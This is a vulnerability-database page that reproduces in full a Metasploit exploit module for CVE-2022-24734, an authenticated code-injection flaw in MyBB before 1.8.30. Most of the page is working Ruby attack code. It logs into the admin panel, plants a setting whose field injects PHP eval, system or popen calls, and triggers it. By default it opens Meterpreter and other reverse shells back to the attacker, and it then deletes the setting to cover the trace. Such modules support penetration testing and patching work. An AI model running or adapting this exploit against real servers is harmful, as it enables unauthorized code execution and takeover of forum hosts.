Lucene search

K
zdtMetasploit1337DAY-ID-37758
HistoryMay 31, 2022 - 12:00 a.m.

MyBB (prior 1.8.30) Admin Control Remote Code Execution Exploit

2022-05-3100:00:00
metasploit
0day.today
395

0.254 Low

EPSS

Percentile

96.7%

This Metasploit module exploits an improper input validation vulnerability in MyBB versions prior to 1.8.30 to execute arbitrary code in the context of the user running the application. The MyBB Admin Control setting page calls the PHP eval function with unsanitized user input. The exploit adds a new setting, injecting the payload in the vulnerable field, and triggers its execution with a second request. Finally, it takes care of cleaning up and removes the setting. Note that authentication is required for this exploit to work and the account must have rights to add or update settings (typically, the myBB administrator role).

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Powershell
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'MyBB Admin Control Code Injection RCE',
        'Description' => %q{
          This exploit module leverages an improper input validation
          vulnerability in MyBB prior to `1.8.30` to execute arbitrary code in
          the context of the user running the application.

          MyBB Admin Control setting page calls PHP `eval` function with an
          unsanitized user input. The exploit adds a new setting, injecting the
          payload in the vulnerable field, and triggers its execution with a
          second request. Finally, it takes care of cleaning up and removes the
          setting.

          Note that authentication is required for this exploit to work and the
          account must have rights to add or update settings (typically, myBB
          administrator role).
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Cillian Collins', # vulnerability research
          'Altelus', # original PoC
          'Christophe De La Fuente' # MSF module
        ],
        'References' => [
          [ 'URL', 'https://github.com/mybb/mybb/security/advisories/GHSA-876v-gwgh-w57f'],
          [ 'URL', 'https://www.zerodayinitiative.com/advisories/ZDI-22-503/'],
          [ 'URL', 'https://github.com/Altelus1/CVE-2022-24734'],
          [ 'CVE', '2022-24734']
        ],
        'Platform' => %w[php unix linux win],
        'Privileged' => false,
        'Arch' => [ARCH_PHP, ARCH_CMD, ARCH_X86, ARCH_X64],
        'Targets' => [
          [
            'PHP',
            {
              'Platform' => 'php',
              'Arch' => ARCH_PHP,
              'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' },
              'Type' => :in_memory
            }
          ],
          [
            'Unix (In-Memory)',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_php_ssl' },
              'Type' => :in_memory
            }
          ],
          [
            'Linux (Dropper)',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_X86, ARCH_X64],
              'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' },
              'Type' => :dropper
            }
          ],
          [
            'Windows (In-Memory)',
            {
              'Platform' => 'win',
              'Arch' => ARCH_CMD,
              'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/powershell/meterpreter/reverse_tcp' },
              'Type' => :in_memory
            }
          ],
          [
            'Windows (Dropper)',
            {
              'Platform' => 'win',
              'Arch' => [ARCH_X86, ARCH_X64],
              'DefaultOptions' => { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' },
              'Type' => :dropper
            }
          ]
        ],
        'DisclosureDate' => '2022-03-09',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [CONFIG_CHANGES, ARTIFACTS_ON_DISK]
        }
      )
    )

    register_options(
      [
        OptString.new('USERNAME', [ true, 'MyBB Admin CP username' ]),
        OptString.new('PASSWORD', [ true, 'MyBB Admin CP password' ]),
        OptString.new('TARGETURI', [ true, 'The URI of the MyBB application', '/'])
      ]
    )
  end

  def check
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'index.php'),
      'method' => 'GET',
      'vars_get' => { 'intcheck' => 1 }
    })
    return CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?
    return CheckCode::Unknown("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") unless res.code == 200

    # see https://github.com/mybb/mybb/blob/feature/inc/class_core.php#L307-L310
    unless res.body.include?('MYBB')
      return CheckCode::Unknown("#{peer} - Cannot find MyBB forum running at #{target_uri.path}")
    end

    print_good("MyBB forum found running at #{target_uri.path}")

    return CheckCode::Detected
  end

  def login
    vprint_status('Attempting login')

    cookie_jar.cleanup(true)
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, '/admin/index.php'),
      'method' => 'POST',
      'keep_cookies' => true,
      'vars_post' => {
        'username' => datastore['USERNAME'],
        'password' => datastore['PASSWORD'],
        'do' => 'login'
      }
    })
    fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
    unless res.body.match(/Logged in as .*#{datastore['USERNAME']}/)
      fail_with(Failure::NoAccess, "#{peer} - Invalid credentials")
    end

    print_good('Login successful!')
  end

  def send_config_settings(method: 'GET', action: 'add', vars_get: {}, vars_post: {}, check_response: true)
    req_hash = {
      'uri' => normalize_uri(target_uri.path, '/admin/index.php'),
      'method' => method,
      'vars_get' => {
        'module' => 'config-settings',
        'action' => action
      }.merge(vars_get)
    }
    req_hash['vars_post'] = vars_post unless vars_post.blank?
    res = send_request_cgi(req_hash, datastore['WfsDelay'] > 0 ? datastore['WfsDelay'] : 2)
    if check_response && res.nil?
      fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response")
    end
    res
  end

  def exploit
    login

    res = send_config_settings
    if res.body.include?('Access Denied')
      fail_with(Failure::NoAccess, "#{peer} - Supplied user doesn't have the rights to add a setting")
    end

    vprint_status('Adding a malicious settings')
    doc = res.get_html_document
    @my_post_key = doc.xpath('//input[@name="my_post_key"]/@value').text

    case target['Type']
    when :in_memory
      execute_command(payload.encoded)
    when :dropper
      execute_cmdstager
    end
  end

  def send_payload(cmd)
    vprint_status('Adding a crafted configuration setting entry with the payload')

    cmd = cmd.gsub(/\\/, '\\' => '\\\\')
    cmd = cmd.gsub(/"/, '"' => '\\"')
    cmd = cmd.gsub(/\$/, '$' => '\\$')

    case target['Platform']
    when 'php'
      extra = "\" . eval(\"#{cmd}\") .\""
    when 'win'
      if target['Arch'] == ARCH_CMD
        # Force cmd to run in the background (only works for `cmd`)
        extra = "\" . pclose(popen(\"start /B #{cmd}\", \"r\")) .\""
      else
        extra = "\" . system(\"#{cmd}\") .\""
      end
    else
      extra = "\" . system(\"#{cmd} > /dev/null &\") .\""
    end

    post_data = {
      my_post_key: @my_post_key,
      title: Rex::Text.rand_text_alpha(rand(8...16)),
      description: Rex::Text.rand_text_alpha(rand(8...16)),
      gid: 1,
      disporder: '',
      name: Rex::Text.rand_text_alpha(rand(8...16)),
      type: "\tphp",
      extra: extra,
      value: Rex::Text.rand_text_alpha(rand(8...16))
    }

    res = send_config_settings(method: 'POST', vars_post: post_data)
    unless res.code == 302
      doc = res.get_html_document
      err = doc.xpath('//div[@class="error"]').text
      fail_with(Failure::Unknown,
                "#{peer} - The module expected a 302 response but received: "\
                "#{res.code}. Exploit didn't work.#{" Reason: #{err}" if err.present?}")
    end

    vprint_good('Payload successfully sent')
  end

  def trigger_payload
    vprint_status('Triggering the payload execution')
    # We're not expecting response to this query
    send_config_settings(action: 'change', check_response: false)
  end

  def remove_setting
    vprint_status('Removing the configuration setting')

    vprint_status('Grab the delete parameters')
    res = send_config_settings(action: 'manage')
    if res.body.include?('<title>MyBB Control Panel - Login</title>')
      # this exploit seems to logout users sometimes, so, try to login again and retry
      print_status('User session is not valid anymore. Trying to login again to cleanup')
      login
      res = send_config_settings(action: 'manage')
    end

    doc = res.get_html_document
    control_links = doc.xpath('//div[@class="popup_item_container"]/a/@href')
    uri = control_links.detect do |href|
      href.text.include?('action=delete') && href.text.include?("my_post_key=#{@my_post_key}")
    end
    if uri.nil?
      print_warning("#{peer} - URI not found in `Modify Settings` page - cannot cleanup")
      return
    end

    vprint_status('Send the delete request')
    params = uri.text.split('?')[1]
    get_data = CGI.parse(params).transform_values(&:join)
    send_config_settings(method: 'POST', vars_get: get_data)
  end

  def execute_command(cmd, _opt = {})
    send_payload(cmd)
    trigger_payload
    remove_setting
    print_status('Shell incoming...')
  end
end